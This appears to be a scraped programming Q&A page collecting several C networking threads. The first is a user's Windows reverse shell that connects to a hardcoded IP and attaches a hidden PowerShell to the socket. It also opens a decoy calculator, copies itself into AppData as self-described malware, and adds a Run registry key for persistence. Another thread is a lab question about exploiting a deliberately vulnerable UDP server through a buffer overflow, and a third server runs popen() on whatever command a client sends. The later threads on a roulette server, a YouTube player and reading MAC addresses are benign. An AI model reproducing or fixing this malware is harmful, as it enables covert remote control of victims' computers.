Issue connecting to a C reverse shell - c

i'm trying to make a simple reverse shell in c, but the issue arrives when i have to connect the victim to my computer. I set up my listener but it never connects, it only open a blank cmd at the victim pc. the code is this
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEF_BUFF 2048
void runShell(char* server, int Port)
{
while(1)
{
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in address;
char Rec_dat[DEF_BUFF];
STARTUPINFO process_startup;
PROCESS_INFORMATION p_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
address.sin_family = AF_INET;
address.sin_port = htons(Port);
address.sin_addr.s_addr =inet_addr(server);
WSAConnect(Winsock,(SOCKADDR*)&address, sizeof(address),NULL,NULL,NULL,NULL);
if (WSAGetLastError() == 0)
{
memset(&process_startup, 0, sizeof(process_startup));
char proc[] = "powershell.exe -WindowStyle Hidden";
process_startup.cb=sizeof(process_startup);
process_startup.dwFlags=STARTF_USESTDHANDLES;
process_startup.hStdInput = process_startup.hStdOutput = process_startup.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, proc, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup, &p_info);
WaitForSingleObject(p_info.hProcess, INFINITE);
CloseHandle(p_info.hProcess);
CloseHandle(p_info.hThread);
memset(Rec_dat, 0, sizeof(Rec_dat));
int Rec_code = recv(Winsock, Rec_dat, DEF_BUFF, 0);
if (Rec_code <= 0)
{
closesocket(Winsock);
WSACleanup();
continue;
} // end if
if (strcmp(Rec_dat, "exit\n") == 0)
{
exit(0);
} // end if
} // end while
} // end function runShell
}
int main()
{
char ip[] = "192.168.61.209";
int p = 8080;
system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy
system("cmd /c copy .\\reverse.exe %appdata%"); // copy malware to appdata
system("cmd /c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Secure\" /t REG_SZ /F /D \"%appdata%\\reverse.exe")
runShell(ip, p); // call the runShell
return 0;
} // end main
on my pc, i set up the listener with netcat, but i'm unable to connect the two computers.

Related

Pass argc variable to thread

I'm creating a TCP socket-based server-client application for a roulette game. Before compiling the server, the admin needs to input two arguments for how the server should work: one for the port, and the other for the roulette's required time to spin. However, when I try to compile the code it gives me a segmentation fault error. The code works fine if all references to roulette_time are taken out, though.
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <semaphore.h>
#define BACKLOG 15
long bank = 0;
typedef struct pthread_arg_t{
int new_socket_fd;
struct sockaddr_in client_address;
int port;
int *roulette_time;
/*Inserire le variabili passate dal client qui*/
int picked_num;
long stake;
int won;
}pthread_arg_t;
void *pthread_routine(void *arg);
void signal_handler(int signal_number);
int main(int argc, char *argv[]){
int port, socket_fd, new_socket_fd, chosen_number, won, roulette_time;
long stake;
struct sockaddr_in address;
pthread_attr_t pthread_attr;
pthread_arg_t *pthread_arg;
pthread_t pthread;
socklen_t client_address_len;
port = atoi(argv[1]);
roulette_time = atoi(argv[2]);
if(port == NULL){
printf("Inserisci il port qui\n");
scanf("%d",&port);
}
if(roulette_time == NULL){
printf("Inserisci il tempo minimo da far trascorrere prima dell'azionamento della roulette\n");
scanf("%d",&roulette_time);
}
pthread_arg->roulette_time = &roulette_time;
memset(&address,0,sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = INADDR_ANY;
if((socket_fd = socket(AF_INET,SOCK_STREAM,0)) == -1){
perror("creazione socket");
exit(1);
}
if(bind(socket_fd,(struct sockaddr*)&address, sizeof(address)) == -1){
perror("binding");
exit(1);
}
if(listen(socket_fd, BACKLOG) == -1){
perror("listen");
exit(1);
}
if((signal(SIGPIPE, SIG_IGN) == SIG_ERR) || (signal(SIGTERM, signal_handler) == SIG_ERR) || (signal(SIGINT, signal_handler) == SIG_ERR)){
perror("signal");
exit(1);
}
if(pthread_attr_init(&pthread_attr) != 0){
perror("pthread_attr_init");
exit(1);
}
if(pthread_attr_setdetachstate(&pthread_attr, PTHREAD_CREATE_DETACHED) != 0){
perror("pthread_attr_setdetachstate");
exit(1);
}
while(1){
pthread_arg = (pthread_arg_t *)malloc(sizeof *pthread_arg);
if(!pthread_arg){
perror("malloc");
continue;
}
client_address_len = sizeof(pthread_arg->client_address);
new_socket_fd = accept(socket_fd, (struct sockaddr *)&pthread_arg->client_address,&client_address_len);
if(new_socket_fd == -1){
perror("accept");
free(pthread_arg);
continue;
}
pthread_arg->new_socket_fd = new_socket_fd;
/*Inizializza tutte le variabili qui*/
chosen_number = pthread_arg->picked_num;
stake = pthread_arg->stake;
won = pthread_arg->won;
if(pthread_create(&pthread, &pthread_attr, pthread_routine, (void*)pthread_arg) != 0){
perror("pthread_create");
free(pthread_arg);
continue;
}
}
return 0;
}
void *pthread_routine(void *arg){
pthread_arg_t *pthread_arg = (pthread_arg_t *)arg;
int new_socket_fd = pthread_arg->new_socket_fd;
struct sockaddr_in client_address = pthread_arg->client_address;
int roulette_num, picked_num, won, accept_time = pthread_arg->roulette_time;
long stake;
time_t start, end;
sem_t mutex;
free(arg);
/*Inserisci codice roulette qui*/
while(1){
if(start == NULL){
start = time(NULL);
end = start + accept_time;
}
read(new_socket_fd, &picked_num, sizeof(picked_num));
read(new_socket_fd, &stake, sizeof(stake));
printf("Puntata ricevuta: numero %d, %d crediti\n",ntohl(picked_num), ntohl(stake));
bank = bank + stake;
printf("Soldi del banco: %d crediti\n",ntohl(bank));
start = time(NULL);
if(start >= end){
roulette_num = (rand() % (36 - 0 + 1)) + 0;
printf("Numero estrtatto dalla roulette: %d\n",roulette_num);
int converted_roulette_num = htonl(roulette_num);
write(new_socket_fd,&converted_roulette_num,sizeof(int));
if(read(new_socket_fd,&won,sizeof(int)) == 1){
int converted_bank = htonl(bank);
write(new_socket_fd,&converted_bank,sizeof(converted_bank));
bank = 0;
}
start = NULL;
}
}
close(new_socket_fd);
return NULL;
}
void signal_handler(int signal_number){
}
Edit: The input that this application accepts is ./server [socket port number] [seconds to activate roulette], for example: ./server 24106 30 (in this case 24106 is the socket port number, and we're asking the roulette to spin after 30 seconds have passed).
The output should appear in the following way: after the server receives an input from a connected client, the server prints the received number and the stake. After the amount of time passed as argument passed, the roulette spins and the server prints out the extracted number. However, as mentioned earlier, this only happens if I remove every instance of roulette_time from the code - otherwise I get Segmentation fault (core dumped) every time I try to run it.

How to find the vulnerability of a program to exploit using buffer overflow attack

As an assignment of a lab , I want first to find the vulnaribility of the following code , then run in as a sample timeserver and then attack it using buffer overflow . But the first problem is not knowing where exactly to start .
I know that there are some functions that could be harmfull in that C program ( such as " strftime " , or " memcoy " , or "strcpy" ) but I can not select which one is the most proper one to start with .
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <time.h>
#define CANBUFSIZE 106
#define MSGBUFSIZE 256
#define TIMEBUFSIZE 128
char msgbuf[MSGBUFSIZE];
char canarybuf[CANBUFSIZE];
void get_time(char* format, char* retstr, unsigned received)
{
// memory for our local copy of the timestring
char timebuf[TIMEBUFSIZE];
time_t curtime;
// if the format string esceeds our local buffer ...
if(strlen(format) > TIMEBUFSIZE)
{
strcpy(retstr,"Process Error.");
return;
}
// otherwise create a local working copy
memcpy(timebuf,format,received);
// Get the current time.
curtime = time (NULL);
// Convert it to local time representation.
// and convert the format string to the real timestring
struct tm *loctime = localtime (&curtime);
strftime(retstr,TIMEBUFSIZE,timebuf,loctime);
return;
}
int main(int argc, char** argv)
{
int port; // the portnumber of our service
struct in_addr bind_addr; // bind address of the server
int sd; // the socketdescriptor
struct sockaddr_in addr; // address of our service
struct sockaddr_in addr_from; //address of the client
int addrlen = sizeof(addr_from);
int pid; // our process id
int sid; // our session id
unsigned received; // number of bytes received from network
// resolve command line arguments
if(argc != 3)
{
printf("Usage: timeservice <bind address> <portnum>\n");
return 1;
}
if (inet_aton(argv[1], &bind_addr) == 0)
{
fprintf(stderr, "Invalid bind address\n");
exit(EXIT_FAILURE);
}
port = atoi(argv[2]);
if ((port < 1024) || (port > 65535))
{
printf("Portrange has to be between 1024 and 65535.\n");
exit(EXIT_FAILURE);
}
// forking to background
pid = fork();
if(pid < 0)
{
printf("fork() failed\n");
exit(EXIT_FAILURE);
}
// we are parent
else if(pid > 0)
{
return 0;
}
/*
* we are the child process
* because of the termination of our parent, we need a new session id,
* else we are zombie
*/
sid = setsid();
if (sid < 0) {
return 1;
}
/*
* since we are a system service we have to close all standard file
* descriptors
*/
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// create an udp socket
if((sd = socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0)
{
return 1;
}
// clear the memory of our addr struct
memset(&addr,0,sizeof(addr));
// Protocol Family = IPv4
addr.sin_family = PF_INET;
// Listen on bindAddr and bindPort only
addr.sin_addr.s_addr = bind_addr.s_addr;
addr.sin_port = htons(port);
// bind to the udp socket
if(bind(sd,(struct sockaddr*)&addr,sizeof(addr)) != 0)
{
return 1;
}
for(;;)
{
// prepare memory
memset(&msgbuf, 0, sizeof(msgbuf));
received = recvfrom(sd,msgbuf,MSGBUFSIZE,MSG_WAITALL,
(struct sockaddr*)&addr_from,(socklen_t*) &addrlen);
// fork a new child
pid = fork();
// we are parent
if (pid > 0)
{
// wait for the child to finish
waitpid(pid,NULL,0);
}
else
{
/*
* we are inside the child process
*/
// reserve some memory for our response
char * returnstr = (char*) malloc(TIMEBUFSIZE);
// analyse the client request and format the time string
get_time(msgbuf, returnstr, received);
// send our response to the client
sendto(sd,returnstr,strlen(returnstr)+1,MSG_DONTWAIT,
(struct sockaddr *) &addr_from, addrlen);
free(returnstr);
return EXIT_SUCCESS;
}
}
close(sd);
return 0;
}
I compiled the file using gcc and run the localserver with ./timeserver 127.0.0.1 2222 and then connects to that with nc -u 127.0.0.1 2222 . Then I'm now able to input some strings of format strings to the server and take some results back . For example if I use %d in the command line it will show me a date/time in a special format .
I know that this is the place that I should force some strings and crash the program but I can not find exact string of that .
The return value of recvfrom is not checked, which is a mistake. If recvfrom gets an error, then the return value is -1. Since the type of received is unsigned, a second mistake, this will appear to be a large positive value. The memcpy call will cause the program to fail.

client and server communicating

Iam trying to run shell commands on a server and want them to be printed in the client shell..
that means when i type a command in the client shell that command should go to the server and execute inside the server and return the output back to the client
but the only problem iam, facing now is when i run commands like "Date,hostname etc" in the client programme it shows the expected output(Client -> server -> client). but when i run "ls" it shows only the first file in the folder..
as an example if i put five files in a folder it shows only the name of the first file in the folder
CLIENT program
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#define PORT 1300
#define HOST "127.0.0.1"
#define MAXLINE 1024
main() {
register int s,len;
struct sockaddr_in pin;
struct hostent *hp;
char buff[MAXLINE + 1];
if ((hp=gethostbyname(HOST)) == 0) {
perror("gethostbyname");
exit(1);
}
bzero(&pin, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr= ((struct in_addr *) (hp->h_addr)) -> s_addr;
pin.sin_port=htons(PORT);
if ((s=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("client:socket");
exit(1);
}
if (connect(s,(struct sockaddr *) &pin,sizeof(pin)) < 0) {
perror("client:connect");
exit(1);
}
char out[20];
strcpy(out,"exit");
while(1){
bzero(buff,MAXLINE+1);
printf("Message> ");
scanf("%s",buff);
if(strcmp(out,buff) == 0){
exit(1);
}
send(s,buff,strlen(buff)+1, 0);
bzero(buff,MAXLINE+1);
read(s,buff,MAXLINE);
printf("Received>");
puts(buff);
}
close(s);
}
here's my SERVER program
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include<string.h>
#define PORT 1300
#define MAXLINE 4096
#define COMMAND_LEN 20
#define DATA_SIZE 1512
main() {
register int s,ns;
int len;
struct sockaddr_in sin,pin;
char buff[MAXLINE + 1];
time_t ticks;
struct tm * timeinfo;
FILE *pf;
char command[COMMAND_LEN];
char data[DATA_SIZE];
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr= htonl(INADDR_ANY);
sin.sin_port=htons(PORT);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("server: socket");
exit(1);
}
if (bind(s,(struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("server:bind");
exit(1);
}
if (listen(s,5) <0) {
perror("server: listen");
exit(1);
}
for(; ;) {
if ((ns = accept(s, (struct sockaddr *)&pin, &len)) < 0) {
perror("server: accept");
exit(1);
}
while(1){
bzero(buff,MAXLINE+1);
read(ns,buff,MAXLINE);
pf=popen(buff,"r");
if(!pf)
{
fprintf(stderr,"could not open for output. \n");
}
fgets(data,DATA_SIZE,pf);
send(ns,data,strlen(data)+1,0);
//puts(buff);
//send(ns,buff,strlen(buff)+1,0);
}
}
close(ns);
close(s);
}
i tried changing the buffer size but still the problem remains ...
this is how i changed the code segment in server side
bzero(buff,MAXLINE+1);
read(ns,buff,MAXLINE);
pf=popen(buff,"r");
if(!pf)
{
fprintf(stderr,"could not open for output. \n");
}
while(NULL!=fgets(data,DATA_SIZE,pf)){
send(ns,data,strlen(data)+1,0);
}
if(pclose(pf)!=0)
fprintf(stderr,"Error:failed to close command stream \n");
* data ='\0';
//puts(buff);
send(ns,data,1,0);
and in the client side i changed it as
the below code is just under the main method
int idone =0, ibytes;
char *p;
this part is in the client programme as shown
while(! idone)
{
ibytes = read (s,buff,MAXLINE);
for (p=buff;(ibytes--);p++)
{
if(! *p)
{idone=1;break;}
putc(*p,stdout);
}
now when i run the "ls" command it still shows only one file and now after doing the above change now it doesnt even run commands like "date ,hostname ..."
On the client side,
read(s,buff,MAXLINE);
Is not guaranteed to get all the data that the server sent. In fact it can return after returning 1 byte. You're going to have to add a header to your messages on the server side and then make sure you keep doing read until you receive the entire message.
Not to mention doing one fgets() on the server side means you only read one line from popen() and send that. You need to keep doing fgets() till EOF.
Not to mention that you never close pf with a pclose.
So, now in the comments you've tried to address point 2 & point 3. pclose is in the wrong place, but in addition, you still have the problem of point 1. You don't know how much to read on the client before the "results" are complete. So we have to make up a protocol.
So right now your code in the comments will send each line of ls back with a newline and a \0. Lets change that. Lets only send printable text until everything is done, then send a \0.
while ( NULL != fgets(data, DATA_SIZE,pf)) {
send( ns, data, strlen( data), 0) ; // not strlen() +1
}
if ( pclose( pf) != 0 ) { perror("Error") ; } // outside the while loop
* data= '\0' ;
send( ns, data, 1, 0 ) ; // send a null
Now the client can do read() all day long, and until it gets a \0 it knows there's more data. Beware of a few gotchas of course. You have to add \0 to your client side buffer before printing each message. And when you go looking for \0 in the message, you have to make sure you didn't find it passed the end of the number of bytes sent.
The key here is that you have to look at the return value of read() for how many bytes you actually got.
int idone= 0, ibytes ;
char * p;
while ( ! idone )
{
ibytes= read(s,buff,MAXLINE);
for ( p= buff ; ( ibytes -- ) ; p ++ )
{
if ( ! * p ) { idone= 1 ; break ; }
putchar( * p) ;
}
}

C / Youtube API Request > VLC

I'm trying to improve my tiny C application which streams YouTube videos.
For some reason I'm not being able to send request and decode JSON.
Could someone point me in the right direction, this is the original.
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#define SA struct sockaddr
#define MAXLINE 4096
#define LISTENQ 1024
void process_http(int sockfd, char argv[]){
char sendline[MAXLINE], recvline[MAXLINE];
char storeline[MAXLINE];
char run_command[50];
char * linkpos;
ssize_t n;
int arraysize;
int i;
arraysize = strlen(&argv[0]);
if(&argv[0] == "\32") {
printf("Har space\n");
}
strcpy(sendline,"GET /?youtubereq=");
strcat(sendline,&argv[0]);
strcat(sendline," /HTTP/1.0\r\n");
strcat(sendline,"Connection: Keep-Alive\r\n");
strcat(sendline,"Pragma: no-cache\r\n");
strcat(sendline,"Host: 127.0.0.1\r\n");
strcat(sendline,"Accept: www/source\r\n");
strcat(sendline,"Accept: text/html\r\n\r\n");
write(sockfd, sendline, strlen(sendline));
while ( ( n = read(sockfd, recvline, MAXLINE)) != 0 )
{
recvline[n]='\0';
strcat(storeline, recvline);
}
linkpos = strstr(storeline, "http://www.youtube.com/");
strcpy(run_command, "cvlc ");
strcat(run_command, linkpos);
system("clear");
printf("Playing video...\n");
system(run_command);
}
void encode(unsigned char *s, char *enc, char *tb)
{
for (; *s; s++) {
if (tb[*s]) sprintf(enc, "%c", tb[*s]);
else sprintf(enc, "%%%02X", *s);
while (*++enc);
}
}
int main(int argc, char* argv[])
{
int sockfd;
struct sockaddr_in servaddr;
char rfc3986[256] = {0};
char html5[256] = {0};
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(80);
inet_pton(AF_INET, "127.0.0.1", &servaddr.sin_addr);
connect(sockfd, (SA *) &servaddr, sizeof(servaddr));
char enc[sizeof(argv[1]) * 3];
int i;
for (i = 0; i < 256; i++) {
rfc3986[i] = isalnum(i)||i == '~'||i == '-'||i == '.'||i == '_'
? i : 0;
html5[i] = isalnum(i)||i == '*'||i == '-'||i == '.'||i == '_'
? i : (i == ' ') ? '+' : 0;
}
printf("Loading video, please wait...\n");
encode(argv[1], enc, rfc3986);
process_http(sockfd, enc);
return 0;
}
I'm currently relying on PHP/Apache to be run on localhost to do the API-Request for me, this is far from optimal. but as stated above can't seem to be able to implement that part in this code.
(I'm quite new to C)
The PHP Code is as follows.
<?php
if($_GET['youtubereq']) {
$req = $_GET['youtubereq'];
$req = urlencode($req);
$build_yt_url = "http://gdata.youtube.com/feeds/api/videos?q='" . $req . "'&format=5&max-results=1&v=2&alt=jsonc";
$response = file_get_contents($build_yt_url);
$response = json_decode($response, true);
$raw_url = "http://www.youtube.com/watch?v=" . $response["data"]["items"][0]["id"];
echo $raw_url;
}
else {
echo ".";
}
?>
Program works like this ./youtubeplayer "some video to search for"
Ideas?
You're complicating. You can run php from the command line:
<?php
if ($argc != 2) die("wrong params\n");
$build_yt_url = "http://gdata.youtube.com/feeds/api/videos?q='"
. urlencode($argv[1]) . "'&format=5&max-results=1&v=2&alt=jsonc";
$response = file_get_contents($build_yt_url) or die("error fetching data\n");
$response = json_decode($response, true);
if (!isset($response["data"]["items"][0]["id"]))
die("error finding in result\n");
$raw_url = "http://www.youtube.com/watch?v=" .
$response["data"]["items"][0]["id"];
system("cvlc " . escapeshellarg($raw_url));
Then run with:
php myscript.php cat

How to get MAC address of your machine using a C program?

I am working on Ubuntu. How can I get MAC address of my machine or an interface say eth0 using C program.
Much nicer than all this socket or shell madness is simply using sysfs for this:
the file /sys/class/net/eth0/address carries your mac adress as simple string you can read with fopen()/fscanf()/fclose(). Nothing easier than that.
And if you want to support other network interfaces than eth0 (and you probably want), then simply use opendir()/readdir()/closedir() on /sys/class/net/.
You need to iterate over all the available interfaces on your machine, and use ioctl with SIOCGIFHWADDR flag to get the mac address. The mac address will be obtained as a 6-octet binary array. You also want to skip the loopback interface.
#include <sys/ioctl.h>
#include <net/if.h>
#include <unistd.h>
#include <netinet/in.h>
#include <string.h>
int main()
{
struct ifreq ifr;
struct ifconf ifc;
char buf[1024];
int success = 0;
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
if (sock == -1) { /* handle error*/ };
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;
if (ioctl(sock, SIOCGIFCONF, &ifc) == -1) { /* handle error */ }
struct ifreq* it = ifc.ifc_req;
const struct ifreq* const end = it + (ifc.ifc_len / sizeof(struct ifreq));
for (; it != end; ++it) {
strcpy(ifr.ifr_name, it->ifr_name);
if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
if (! (ifr.ifr_flags & IFF_LOOPBACK)) { // don't count loopback
if (ioctl(sock, SIOCGIFHWADDR, &ifr) == 0) {
success = 1;
break;
}
}
}
else { /* handle error */ }
}
unsigned char mac_address[6];
if (success) memcpy(mac_address, ifr.ifr_hwaddr.sa_data, 6);
}
You want to take a look at the getifaddrs(3) manual page. There is an example in C in the manpage itself that you can use. You want to get the address with the type AF_LINK.
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
int main()
{
struct ifreq s;
int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
strcpy(s.ifr_name, "eth0");
if (0 == ioctl(fd, SIOCGIFHWADDR, &s)) {
int i;
for (i = 0; i < 6; ++i)
printf(" %02x", (unsigned char) s.ifr_addr.sa_data[i]);
puts("\n");
return 0;
}
return 1;
}
Using getifaddrs you can get MAC address from the family AF_PACKET.
In order to display the MAC address to each interface, you can proceed like this:
#include <stdio.h>
#include <ifaddrs.h>
#include <netpacket/packet.h>
int main (int argc, const char * argv[])
{
struct ifaddrs *ifaddr=NULL;
struct ifaddrs *ifa = NULL;
int i = 0;
if (getifaddrs(&ifaddr) == -1)
{
perror("getifaddrs");
}
else
{
for ( ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next)
{
if ( (ifa->ifa_addr) && (ifa->ifa_addr->sa_family == AF_PACKET) )
{
struct sockaddr_ll *s = (struct sockaddr_ll*)ifa->ifa_addr;
printf("%-8s ", ifa->ifa_name);
for (i=0; i <s->sll_halen; i++)
{
printf("%02x%c", (s->sll_addr[i]), (i+1!=s->sll_halen)?':':'\n');
}
}
}
freeifaddrs(ifaddr);
}
return 0;
}
Ideone
I have just write one and test it on gentoo in virtualbox.
// get_mac.c
#include <stdio.h> //printf
#include <string.h> //strncpy
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h> //ifreq
#include <unistd.h> //close
int main()
{
int fd;
struct ifreq ifr;
char *iface = "enp0s3";
unsigned char *mac = NULL;
memset(&ifr, 0, sizeof(ifr));
fd = socket(AF_INET, SOCK_DGRAM, 0);
ifr.ifr_addr.sa_family = AF_INET;
strncpy(ifr.ifr_name , iface , IFNAMSIZ-1);
if (0 == ioctl(fd, SIOCGIFHWADDR, &ifr)) {
mac = (unsigned char *)ifr.ifr_hwaddr.sa_data;
//display mac address
printf("Mac : %.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n" , mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
close(fd);
return 0;
}
Assuming that c++ code (c++11) is okay as well and the interface is known.
#include <cstdint>
#include <fstream>
#include <streambuf>
#include <regex>
using namespace std;
uint64_t getIFMAC(const string &ifname) {
ifstream iface("/sys/class/net/" + ifname + "/address");
string str((istreambuf_iterator<char>(iface)), istreambuf_iterator<char>());
if (str.length() > 0) {
string hex = regex_replace(str, std::regex(":"), "");
return stoull(hex, 0, 16);
} else {
return 0;
}
}
int main()
{
string iface = "eth0";
printf("%s: mac=%016llX\n", iface.c_str(), getIFMAC(iface));
}
On Linux, use the service of "Network Manager" over the DBus.
There is also good'ol shell program which can be invoke and the result grabbed (use an exec function under C):
$ /sbin/ifconfig | grep HWaddr
A very portable way is to parse the output of this command.
ifconfig | awk '$0 ~ /HWaddr/ { print $5 }'
Provided ifconfig can be run as the current user (usually can) and awk is installed (it often is). This will give you the mac address of the machine.
Expanding on the answer given by #user175104 ...
std::vector<std::string> GetAllFiles(const std::string& folder, bool recursive = false)
{
// uses opendir, readdir, and struct dirent.
// left as an exercise to the reader, as it isn't the point of this OP and answer.
}
bool ReadFileContents(const std::string& folder, const std::string& fname, std::string& contents)
{
// uses ifstream to read entire contents
// left as an exercise to the reader, as it isn't the point of this OP and answer.
}
std::vector<std::string> GetAllMacAddresses()
{
std::vector<std::string> macs;
std::string address;
// from: https://stackoverflow.com/questions/9034575/c-c-linux-mac-address-of-all-interfaces
// ... just read /sys/class/net/eth0/address
// NOTE: there may be more than one: /sys/class/net/*/address
// (1) so walk /sys/class/net/* to find the names to read the address of.
std::vector<std::string> nets = GetAllFiles("/sys/class/net/", false);
for (auto it = nets.begin(); it != nets.end(); ++it)
{
// we don't care about the local loopback interface
if (0 == strcmp((*it).substr(-3).c_str(), "/lo"))
continue;
address.clear();
if (ReadFileContents(*it, "address", address))
{
if (!address.empty())
{
macs.push_back(address);
}
}
}
return macs;
}
netlink socket is possible
man netlink(7) netlink(3) rtnetlink(7) rtnetlink(3)
#include <assert.h>
#include <stdio.h>
#include <linux/if.h>
#include <linux/rtnetlink.h>
#include <unistd.h>
#define SZ 8192
int main(){
// Send
typedef struct {
struct nlmsghdr nh;
struct ifinfomsg ifi;
} Req_getlink;
assert(NLMSG_LENGTH(sizeof(struct ifinfomsg))==sizeof(Req_getlink));
int fd=-1;
fd=socket(AF_NETLINK,SOCK_RAW,NETLINK_ROUTE);
assert(0==bind(fd,(struct sockaddr*)(&(struct sockaddr_nl){
.nl_family=AF_NETLINK,
.nl_pad=0,
.nl_pid=getpid(),
.nl_groups=0
}),sizeof(struct sockaddr_nl)));
assert(sizeof(Req_getlink)==send(fd,&(Req_getlink){
.nh={
.nlmsg_len=NLMSG_LENGTH(sizeof(struct ifinfomsg)),
.nlmsg_type=RTM_GETLINK,
.nlmsg_flags=NLM_F_REQUEST|NLM_F_ROOT,
.nlmsg_seq=0,
.nlmsg_pid=0
},
.ifi={
.ifi_family=AF_UNSPEC,
// .ifi_family=AF_INET,
.ifi_type=0,
.ifi_index=0,
.ifi_flags=0,
.ifi_change=0,
}
},sizeof(Req_getlink),0));
// Receive
char recvbuf[SZ]={};
int len=0;
for(char *p=recvbuf;;){
const int seglen=recv(fd,p,sizeof(recvbuf)-len,0);
assert(seglen>=1);
len += seglen;
if(((struct nlmsghdr*)p)->nlmsg_type==NLMSG_DONE||((struct nlmsghdr*)p)->nlmsg_type==NLMSG_ERROR)
break;
p += seglen;
}
struct nlmsghdr *nh=(struct nlmsghdr*)recvbuf;
for(;NLMSG_OK(nh,len);nh=NLMSG_NEXT(nh,len)){
if(nh->nlmsg_type==NLMSG_DONE)
break;
struct ifinfomsg *ifm=(struct ifinfomsg*)NLMSG_DATA(nh);
printf("#%d ",ifm->ifi_index);
#ifdef _NET_IF_H
#pragma GCC error "include <linux/if.h> instead of <net/if.h>"
#endif
// Part 3 rtattr
struct rtattr *rta=IFLA_RTA(ifm); // /usr/include/linux/if_link.h
int rtl=RTM_PAYLOAD(nh);
for(;RTA_OK(rta,rtl);rta=RTA_NEXT(rta,rtl))switch(rta->rta_type){
case IFLA_IFNAME:printf("%s ",(const char*)RTA_DATA(rta));break;
case IFLA_ADDRESS:
printf("hwaddr ");
for(int i=0;i<5;++i)
printf("%02X:",*((unsigned char*)RTA_DATA(rta)+i));
printf("%02X ",*((unsigned char*)RTA_DATA(rta)+5));
break;
case IFLA_BROADCAST:
printf("bcast ");
for(int i=0;i<5;++i)
printf("%02X:",*((unsigned char*)RTA_DATA(rta)+i));
printf("%02X ",*((unsigned char*)RTA_DATA(rta)+5));
break;
case IFLA_PERM_ADDRESS:
printf("perm ");
for(int i=0;i<5;++i)
printf("%02X:",*((unsigned char*)RTA_DATA(rta)+i));
printf("%02X ",*((unsigned char*)RTA_DATA(rta)+5));
break;
}
printf("\n");
}
close(fd);
fd=-1;
return 0;
}
Example
#1 lo hwaddr 00:00:00:00:00:00 bcast 00:00:00:00:00:00
#2 eth0 hwaddr 57:da:52:45:5b:1a bcast ff:ff:ff:ff:ff:ff perm 57:da:52:45:5b:1a
#3 wlan0 hwaddr 3c:7f:46:47:58:c2 bcast ff:ff:ff:ff:ff:ff perm 3c:7f:46:47:58:c2
This is a Bash line that prints all available mac addresses, except the loopback:
for x in `ls /sys/class/net |grep -v lo`; do cat /sys/class/net/$x/address; done
Can be executed from a C program.

Resources